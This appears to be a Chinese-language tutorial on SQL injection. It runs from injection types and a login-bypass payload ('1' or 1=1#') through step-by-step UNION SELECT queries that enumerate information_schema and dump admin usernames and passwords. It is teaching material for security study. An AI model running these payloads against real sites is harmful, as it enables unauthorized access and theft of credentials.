一、SQL注入的分类
按照请求方法分类,可以分为GET型注入和POST型注入:
1、GET型注入
GET传参,用户输入的内容参数被传到地址栏,是通过GET的方式进行传参;
特点是内容可见,长度有限,参数有标识:“?”
2、POST型注入
用户输入的内容被隐藏起来,地址栏看不到;
特点是长度没有限制;
按照数据类型划分,可以分为整型注入和字符串注入;
3、数据库分为关系型数据库和非关系型数据库;
关系型数据库例如:mysql sqlserver
非关系型数据库:mongodb redis
4、sql注入的场景
登录和注册功能
搜索功能
详情功能
任何和数据库存在交互的地方;
二、sql常用查询语句
查询表中所有数据
select * from tw_admin
select * from tw_admin where id=34
select password from tw_admin where username="李晓晓”
select password from tw_admin where id=34
三、古老的万能密码
存在漏洞的后台验证代码
$sql = select username,password from users where username='$uname' and password='passwd';
万能密码
用户名输入:1' or 1=1#
密码输入:111
带入后的效果
$sql = select username,password from users where username='1' or 1=1#' and password='111';
# 在sql语句中#的作用是注释掉后面部分,不论后面有什么内容;
1后面用单引号和双引号,需要去尝试,如果单引号和双引号都不行,就考虑存在过滤了;
四、引号过滤
如果开发人员想到了这个漏洞,提前做了过滤,怎么办
反斜线过滤
\'
\"
\\
开发人员设置在引号前面加一个反斜线,达到过滤单引号和双引号的作用;
新的在用户名的地方输入:
1\' or 1=1#
五、Mysql支持联合查询 union select ...
1、通过1=1# 1=2# 进行判断是否存在sql注入;
2、order by 查询字段数 通过临界值的方法;
id=15 order by
3、判断显示位
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
id=15 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15#
4、select * from users;
查数据库名:database()
数据库版本:version()
数据库用户:user()
读取数据库路径:@@datadir
MySQL安装路径:@@basedir
储存所有表名信息的表:information scheam.tables
储存所有列明信息的表:information_schema.columns
表名:table_name
数据库名:table_schema
列名:column_name
例子:
查数据库名
id=15 union select database(),2,3,4,5,6,7,8,9,10,11,12,13,14,15#
结果:tarman_db
查表名
id=15 union select table_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema="tarman_db"#
结果:tw_order
分析可能会有tw_admin等类似的表
查字段名
id=15 union select column_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.columns where table_schema="tarman_db" and table_name="tw_admin"#
通过查字段名可以知道存在username password字段
5、数据
id=15 union select username,password,3,4,5,6,7,8,9,10,11,12,13,14,15 from tw_admin